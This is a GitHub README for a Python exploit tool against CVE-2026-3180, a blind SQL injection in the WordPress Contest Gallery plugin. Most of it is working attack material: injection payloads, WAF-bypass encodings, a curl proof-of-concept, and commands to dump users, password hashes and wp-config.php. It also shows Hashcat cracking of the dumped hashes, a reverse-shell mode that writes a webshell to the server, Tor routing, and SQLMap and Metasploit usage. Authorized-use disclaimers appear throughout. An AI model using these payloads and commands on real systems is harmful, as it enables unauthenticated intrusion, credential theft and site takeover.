⚠️ Under Testing
This PoC is actively being tested and refined. Features may change between releases.

CVE-2026-3180

Proof-of-concept assessment tool for CVE-2026-3180
Author: Sudeepa Wanigarathna · Original discovery: cardosource

[!IMPORTANT] Authorized use only. This tool is for security research, education, and testing systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse.

Overview
Vulnerability Details
Features
Installation
Quick Start
Usage Guide
Command Reference
Injection Techniques
WAF Bypass
Data Extraction
Integrations
Attack Chain
Output & Reports
Docker
CI/CD Integration
Troubleshooting
Repository Layout
Version History
Disclaimer
Author & Credits

Overview

CVE-2026-3180 is a high-severity, unauthenticated blind SQL injection in the WordPress Contest Gallery plugin. The flaw exists in the post_cg1l_resend_unconfirmed_mail_frontend AJAX handler, where the cgl_mail parameter is passed to a SQL query without proper sanitization.

This repository provides a full-featured Python PoC (v2.0) for authorized security professionals to validate impact, extract WordPress data, generate reports, and integrate with industry-standard tooling (SQLMap, Burp Suite, Nuclei).

Vulnerability Details

Affected Endpoint

Field	Value

Proof-of-Concept Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded

action=post_cg1l_resend_unconfirmed_mail_frontend
&cgl_mail=qualquer'OR/**/1=1#@teste.com
&cgl_page_id=1
&cgl_activation_key=
&cg_nonce=%20

References

Features

Core Exploitation

Evasion & Performance

Reporting & Integrations

Operational

Installation

Prerequisites

Python 3.8+
pip
Network reachability to target(s) under test

Optional External Tools

Setup

git clone https://github.com/CerberusMrXi/WP-Contest-Gallery-28.1.4-Exploit.git
cd WP-Contest-Gallery-28.1.4-Exploit

python3 -m venv venv
source venv/bin/activate          # Windows: venv\Scripts\activate

pip install -r requirements.txt

python3 cve-2026-3180.py --help

Dependencies

Required (runtime):

requests>=2.31.0

Recommended (from requirements.txt):

colorama>=0.4.6
tqdm>=4.65.0
pyyaml>=6.0
python-dateutil>=2.8.2
urllib3>=2.0.0

The main exploit uses only the Python standard library plus requests. Additional packages enhance output and reporting.

Quick Start

Replace http://target.example with a lab or authorized target only.

Check vulnerability

python3 cve-2026-3180.py http://target.example --scan

Full exploitation (detect + extract)

python3 cve-2026-3180.py http://target.example

Dump WordPress users

python3 cve-2026-3180.py http://target.example --dump users

Interactive SQL shell

python3 cve-2026-3180.py http://target.example --sql-shell

Generate HTML report

python3 cve-2026-3180.py http://target.example --report html -o assessment.html

Through Burp proxy

python3 cve-2026-3180.py http://target.example --proxy http://127.0.0.1:8080 -v

Usage Guide

Vulnerability scan only

python3 cve-2026-3180.py http://target.example --scan

Runs boolean, time-based, and error-based detection without full extraction.

Full data extraction

python3 cve-2026-3180.py http://target.example --dump all

Extracts database info, users, options, plugins, themes, posts, tables, and system metadata.

Selective dumps

python3 cve-2026-3180.py http://target.example --dump database
python3 cve-2026-3180.py http://target.example --dump users
python3 cve-2026-3180.py http://target.example --dump config
python3 cve-2026-3180.py http://target.example --dump options
python3 cve-2026-3180.py http://target.example --dump plugins
python3 cve-2026-3180.py http://target.example --dump themes

Interactive SQL shell

python3 cve-2026-3180.py http://target.example --sql-shell

sql> SELECT DATABASE()
wordpress

sql> show users
[
  {
    "username": "admin",
    "email": "[email protected]",
    "password_hash": "$P$B..."
  }
]

sql> show tables
["wp_users", "wp_posts", "wp_options", ...]

sql> exit

Shell commands:

Report generation

# JSON report (default, saved to reports/)
python3 cve-2026-3180.py http://target.example --report json

# HTML report with custom filename
python3 cve-2026-3180.py http://target.example --report html -o reports/assessment.html

Reverse shell (authorized lab only)

# Terminal 1 — listener
nc -lvnp 4444

# Terminal 2 — exploit
python3 cve-2026-3180.py http://target.example --reverse-shell 10.0.0.5 4444

Requires FILE privilege, writable webroot, and secure_file_priv not blocking the target path.

SQLMap command generation

python3 cve-2026-3180.py http://target.example --sqlmap

Or use the bundled automation script:

chmod +x sqlmap_automation.sh
./sqlmap_automation.sh http://target.example

Burp Suite extension

# Generate extension from exploit
python3 cve-2026-3180.py http://target.example --burp-extension

# Or load the standalone extension
# Burp → Extender → Extensions → Add → Python → burp_contest_gallery.py

Nuclei template

python3 cve-2026-3180.py http://target.example --nuclei-template

# Scan with generated template
nuclei -u http://target.example -t CVE-2026-3180.yaml

Bash automation (no Python)

chmod +x cve-2026-3180_automated.sh
./cve-2026-3180_automated.sh http://target.example

Tor routing

# Ensure Tor is running on 127.0.0.1:9050
python3 cve-2026-3180.py http://target.example --proxy tor

Performance tuning

python3 cve-2026-3180.py http://target.example \
  --threads 20 \
  --timeout 15 \
  --delay 0.1 \
  --retries 5 \
  -v

Command Reference

Positional Arguments

Argument	Description
`target`	Target WordPress base URL (e.g. `http://target.example`)

Network Options

Output Options

Argument	Description
`--verbose`, `-v`	Enable debug logging
`--quiet`	Suppress console output
`--output`,

Modes

Injection Techniques

The tool automatically tests and uses multiple injection strategies:

Payload Templates

The PayloadManager rotates across 12+ injection templates:

'OR/**/{condition}#@teste.com
'OR{condition}-- -
')OR{condition}#
'))OR{condition}#
'OR/**/{condition}OR/**/'1'='1'#
'UNION/**/SELECT{condition}#
...

Boolean Extraction Algorithm

Confirm vulnerability via true/false baseline lengths
Binary-search LENGTH() of target query result
Binary-search ASCII(SUBSTRING(...)) per character position
Assemble full string from extracted characters

WAF Bypass

Built-in obfuscation techniques applied randomly or on demand:

Example transformed payload:

qualquer'OR/**/1=1#@teste.com
→ qualquer'%2F**%2FOR%2F**%2F1%3D1%23%40teste.com

Data Extraction

Extraction Targets

Extracted User Object Shape

{
  "username": "admin",
  "password_hash": "$P$Bxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
  "email": "[email protected]",
  "roles": ["administrator"]
}

Password Hash Cracking (offline)

After extraction, crack WordPress phpass hashes with Hashcat:

# Save hashes to file
python3 cve-2026-3180.py http://target.example --dump users -o users.json

# Crack with Hashcat (mode 400 = phpass)
hashcat -m 400 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

Integrations

SQLMap

Generated command (via --sqlmap):

sqlmap -u "http://target.example/wp-admin/admin-ajax.php" \
  --data "action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail=test'&cgl_page_id=1&cgl_activation_key=&cg_nonce=%20" \
  -p cgl_mail \
  --dbms=mysql \
  --level=3 --risk=2 \
  --batch \
  --threads=5 \
  --time-sec=5 \
  --retries=3 \
  --delay=0.05 \
  --random-agent \
  --hex \
  --tamper=space2comment,randomcase,between,charencode \
  --dbs

Burp Suite

Load burp_contest_gallery.py in Extender → Extensions → Add
Open the CVE-2026-3180 tab
Enter target URL and click Exploit
Passive scanner checks AJAX requests for Contest Gallery indicators

Nuclei

id: CVE-2026-3180
info:
  name: WordPress Contest Gallery SQL Injection
  severity: high
  classification:
    cve-id: CVE-2026-3180
    cvss-score: 7.5

requests:
  - method: POST
    path: /wp-admin/admin-ajax.php
    body: "action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail=test'&cgl_page_id=1&cgl_activation_key=&cg_nonce=%20"

Metasploit

# Copy module to Metasploit
cp contest_gallery_sqli.rb ~/.msf4/modules/auxiliary/scanner/http/

# Run
msfconsole -q -x "use auxiliary/scanner/http/contest_gallery_sqli; set RHOSTS target.example; run"

Attack Chain

flowchart TD
    A["Unauthenticated POST to admin-ajax.php"] --> B["cgl_mail parameter unsanitized"]
    B --> C{"Injection type?"}
    C -->|Boolean| D["Response length inference"]
    C -->|Time| E["SLEEP delay inference"]
    C -->|Error| F["SQL error leakage"]
    D --> G["Binary-search extraction"]
    E --> G
    F --> G
    G --> H["WordPress data exfiltration"]
    H --> I["Users / hashes / options / config"]
    I --> J["Optional: OUTFILE webshell"]

Technical Summary

Entry point — post_cg1l_resend_unconfirmed_mail_frontend AJAX action in Contest Gallery plugin.
Sink — cgl_mail value concatenated into SQL without parameterization.
Exploitation — Blind boolean inference extracts data character-by-character.
Impact — Full read access to WordPress database; potential file write if MySQL privileges allow.

Output & Reports

Console Output

[*] Target: http://target.example
[*] Checking vulnerability...
[+] Target is VULNERABLE! (Boolean-based)
[+] Response length difference: 42 chars
[*] Extracting database information...
[+] name: wordpress
[+] version: 8.0.35
[+] Found 3 users
[+] Exploitation complete!

JSON Report Structure

{
  "metadata": {
    "cve": "CVE-2026-3180",
    "cvss_score": "7.5 (High)",
    "type": "boolean_based"
  },
  "target": {
    "url": "http://target.example",
    "ajax_url": "http://target.example/wp-admin/admin-ajax.php"
  },
  "vulnerability": {
    "vulnerable": true,
    "type": "boolean_based"
  },
  "extracted_data": {
    "database": { "name": "wordpress", "version": "8.0.35" },
    "users": [],
    "tables": [],
    "plugins": [],
    "options": {}
  },
  "summary": {
    "users_found": 3,
    "tables_found": 12,
    "plugins_found": 8,
    "config_extracted": false
  }
}

Reports are saved to reports/ by default.

Docker

FROM python:3.11-slim

WORKDIR /app
COPY requirements.txt cve-2026-3180.py ./
RUN pip install --no-cache-dir -r requirements.txt

ENTRYPOINT ["python3", "cve-2026-3180.py"]
CMD ["--help"]

# Build
docker build -t cve-2026-3180 .

# Scan
docker run --rm cve-2026-3180 http://target.example --scan

# Full exploit with report volume
docker run --rm -v $(pwd)/reports:/app/reports cve-2026-3180 \
  http://target.example --report json

CI/CD Integration

Example GitHub Actions workflow for authorized staging scans:

name: CVE-2026-3180 Staging Scan

on:
  workflow_dispatch:
  schedule:
    - cron: '0 2 * * 1'

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - uses: actions/setup-python@v5
        with:
          python-version: '3.11'

      - run: pip install -r requirements.txt

      - name: Vulnerability scan
        run: |
          python3 cve-2026-3180.py ${{ secrets.STAGING_URL }} \
            --scan --quiet
        continue-on-error: true

      - name: Generate report
        run: |
          python3 cve-2026-3180.py ${{ secrets.STAGING_URL }} \
            --report json -o reports/staging.json

      - uses: actions/upload-artifact@v4
        with:
          name: security-report
          path: reports/

Troubleshooting

Debug Workflow

# Verbose scan
python3 cve-2026-3180.py http://target.example --scan -v

# Through Burp
python3 cve-2026-3180.py http://target.example \
  --proxy http://127.0.0.1:8080 -v --scan

# Manual curl verification
curl -s -X POST "http://target.example/wp-admin/admin-ajax.php" \
  -d "action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail=qualquer'OR/**/1=1#@teste.com&cgl_page_id=1&cgl_activation_key=&cg_nonce=%20" \
  -w "\nSize: %{size_download}\n"

Repository Layout

exploit/
├── cve-2026-3180.py              # Main exploit tool (v2.0)
├── requirements.txt              # Python dependencies
├── README.md                     # This file
├── burp_contest_gallery.py       # Standalone Burp Suite extension
├── contest_gallery_sqli.rb       # Metasploit auxiliary module
├── cve-2026-3180_automated.sh    # Bash/curl automation script
├── sqlmap_automation.sh          # SQLMap wrapper script
├── reports/                    # Generated reports (created at runtime)
├── backups/                    # Database backups (created at runtime)
├── payloads/                   # Custom payload storage
└── venv/                       # Local virtualenv (optional, not committed)

Version History

v2.0.0 — Ultimate Edition (January 2026)

Boolean, time, error, union, and stacked injection detection
Full WordPress data extraction pipeline
15+ WAF bypass techniques
Interactive SQL shell
JSON / HTML report generation
SQLMap, Burp, and Nuclei integrations
Reverse shell via INTO OUTFILE
Proxy and Tor support
Multi-threading with retry logic
Colored output and structured logging

v1.0 — Initial Release

Basic boolean-based detection
Manual user extraction

Disclaimer

This project is provided as-is for defensive security research and authorized penetration testing.

By using this software you agree that:

You will only target systems you own or are explicitly authorized to test.
You understand applicable computer-abuse and data-protection laws.
The author and contributors are not responsible for damage, data loss, or legal consequences from misuse.

If you discover this vulnerability in production, follow responsible disclosure practices and coordinate with the plugin vendor / WordPress security team where appropriate.

Author & Credits

Role	Name
Tool Author	Sudeepa Wanigarathna
Original Discovery	cardosource
CVE	CVE-2026-3180

License

MIT License

Copyright (c) 2026 Sudeepa Wanigarathna

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.

Support

Star the repo if it helps your research
Open issues for bugs, false positives, or detection improvements
Pull requests welcome for docs, WAF bypass techniques, and authorized-lab UX

For authorized security testing only.

CVE ID	CVE-2026-3180
CVSS	7.5 (High)
Attack Vector	Network — unauthenticated
Impact	Confidentiality breach, database read, credential theft
Affected Product	WordPress Contest Gallery plugin
Affected Versions	28.1.4 and earlier
Vulnerability Type	Blind SQL Injection
DBMS	MySQL / MariaDB

URL	`/wp-admin/admin-ajax.php`
Method	`POST`
Action	`post_cg1l_resend_unconfirmed_mail_frontend`
Vulnerable Parameter	`cgl_mail`

Vulnerability detection	Boolean, time-based, error-based, union, and stacked query tests
Blind extraction	Binary-search character extraction via boolean inference
Full data dump	Users, database metadata, options, plugins, themes, posts, tables
Interactive SQL shell	Run arbitrary `SELECT` queries against the backend
wp-config.php extraction	`LOAD_FILE()` attempts against common paths
Reverse shell	PHP webshell write via `INTO OUTFILE` / `DUMPFILE` (when permitted)

WAF bypass	15+ encoding and obfuscation techniques
Multi-threading	Configurable worker threads for faster extraction
Rate limiting	Configurable delay between requests
Retry logic	Automatic retries on transient failures
User-Agent rotation	Random browser fingerprints per request
Proxy support	HTTP/SOCKS proxies and Tor (`socks5h://127.0.0.1:9050`)

Report generation	JSON and HTML reports with extraction summaries
SQLMap integration	Auto-generated SQLMap command with tampers
Burp Suite extension	Generator + standalone `burp_contest_gallery.py`
Nuclei template	YAML template for mass detection
Metasploit module	Ruby auxiliary module (`contest_gallery_sqli.rb`)
Shell automation	Bash scripts for curl-based and SQLMap workflows

Colored CLI output	Structured logging with severity levels
Progress tracking	Real-time metrics (requests, timing, extraction speed)
Quiet / verbose modes	Suitable for scripting and debugging
Signal handling	Graceful cleanup on `Ctrl+C`
Docker ready	Containerized deployment support
CI/CD pipeline ready	Exit codes and JSON output for automation

SQLMap	Automated SQL injection
Burp Suite	Manual testing & extension hosting
Nuclei	Template-based scanning
Hashcat	Offline hash cracking
Tor	Anonymous routing (`--proxy tor`)

`SELECT ...`	Execute a SQL query and print result
`show users`	Display cached extracted users
`show tables`	Display cached table list
`show database`	Display cached DB metadata
`show config`	Display wp-config.php if extracted
`show options`	Display WordPress options
`show plugins`	Display active plugins
`help`	List available commands
`exit` / `quit`	Exit shell

`--proxy`	—	Proxy URL or `tor` for SOCKS5 via Tor
`--timeout`	`10`	HTTP request timeout (seconds)
`--delay`	`0.05`	Delay between requests (seconds)
`--retries`	`3`	Retry count on failed requests
`--threads`, `-t`	`5`	Thread pool size

(default)	Full exploit: detect → scan → extract all
`--scan`	Vulnerability detection only
`--sql-shell`	Interactive SQL shell
`--dump {users,config,database,options,plugins,themes,all}`	Extract specific data
`--report {json,html}`	Generate assessment report
`--reverse-shell LHOST LPORT`	Attempt reverse shell via file write
`--sqlmap`	Print SQLMap command
`--burp-extension`	Generate Burp Suite extension
`--nuclei-template`	Generate Nuclei YAML template

Boolean-based	Response length differential (`1=1` vs `1=2`)	Primary extraction engine
Time-based	`SLEEP()` delay inference	Fallback when boolean signals are weak
Error-based	`EXTRACTVALUE()` / SQL error strings	Fast metadata when errors leak
Union-based	`UNION SELECT` payloads	Direct value retrieval (when applicable)
Stacked queries	`'; ... #` syntax	Multi-statement execution (rare)

`comment_obfuscation`	Replace spaces with `/*/`, `/!*/`, `--` , `#`
`case_variation`	Random upper/lower case in alphabetic chars
`url_encoding`	Standard percent-encoding
`double_url_encoding`	Nested percent-encoding
`hex_encoding`	`%41`-style hex encoding
`unicode_encoding`	`%u0041`-style unicode encoding
`white_space_variation`	Tabs, newlines, form feeds instead of spaces
`keyword_obfuscation`	Split keywords: `SEL//ECT`, `UNI//ION`
`concat_obfuscation`	`CHAR()` concatenation via `\|\|`
`char_obfuscation`	`CHAR()` addition via `+`

Database name	`SELECT DATABASE()`	`database.name`
DB version	`SELECT VERSION()`	`database.version`
DB user	`SELECT USER()`	`database.user`
Tables	`information_schema.TABLES`	`tables[]`
Columns	`information_schema.COLUMNS`	`columns{}`
WP users	`wp_users`	`users[]`
Password hashes	`wp_users.user_pass`	`users[].password_hash`
Emails	`wp_users.user_email`	`users[].email`
Roles	`wp_usermeta` capabilities	`users[].roles`
Site options	`wp_options`	`options{}`
Active plugins	`wp_options.active_plugins`	`plugins[]`
Themes	`template` / `stylesheet` options	`themes[]`
Posts	`wp_posts`	`posts[]`
wp-config.php	`LOAD_FILE('/var/www/html/wp-config.php')`	`config`
System info	`@@hostname`, `@@datadir`, etc.	`system_info{}`

Target not vulnerable	Confirm Contest Gallery ≤ 28.1.4 is installed and active
No response length difference	Try `--scan` for time-based fallback; increase `--timeout`
Very slow extraction	Increase `--threads`; reduce `--delay` cautiously
Connection errors	Raise `--timeout` and `--retries`; check proxy settings
WAF blocking requests	Use `--proxy tor`; tool auto-applies bypass techniques
Tor proxy fails	Verify Tor on `127.0.0.1:9050`; install `requests[socks]` if needed
Empty user dump	Table prefix may not be `wp_`; use `--sql-shell` with custom queries
wp-config not found	Try `--sql-shell` with alternate `LOAD_FILE()` paths
Reverse shell fails	Check `FILE` privilege, `secure_file_priv`, webroot permissions

Most Popular

WP-Contest-Gallery-28.1.4-Exploit

CVE-2026-3180

WordPress Contest Gallery — Unauthenticated Blind SQL Injection

Table of Contents

Overview

Vulnerability Details

Affected Endpoint

Proof-of-Concept Request

References

Features

Core Exploitation

Evasion & Performance

Reporting & Integrations

Operational

Installation

Prerequisites

Optional External Tools

Setup

Dependencies

Quick Start

Check vulnerability

Full exploitation (detect + extract)

Dump WordPress users

Interactive SQL shell

Generate HTML report

Through Burp proxy

Usage Guide

Vulnerability scan only

Full data extraction

Selective dumps

Interactive SQL shell

Report generation

Reverse shell (authorized lab only)

SQLMap command generation

Burp Suite extension

Nuclei template

Bash automation (no Python)

Tor routing

Performance tuning

Command Reference

Positional Arguments

Network Options

Output Options

Modes

Injection Techniques

Payload Templates

Boolean Extraction Algorithm

WAF Bypass

Data Extraction

Extraction Targets

Extracted User Object Shape

Password Hash Cracking (offline)

Integrations

SQLMap

Burp Suite

Nuclei

Metasploit

Attack Chain

Technical Summary

Output & Reports

Console Output

JSON Report Structure

Docker

CI/CD Integration

Troubleshooting

Debug Workflow

Repository Layout

Version History

v2.0.0 — Ultimate Edition (January 2026)

v1.0 — Initial Release

Disclaimer

Author & Credits

License

Support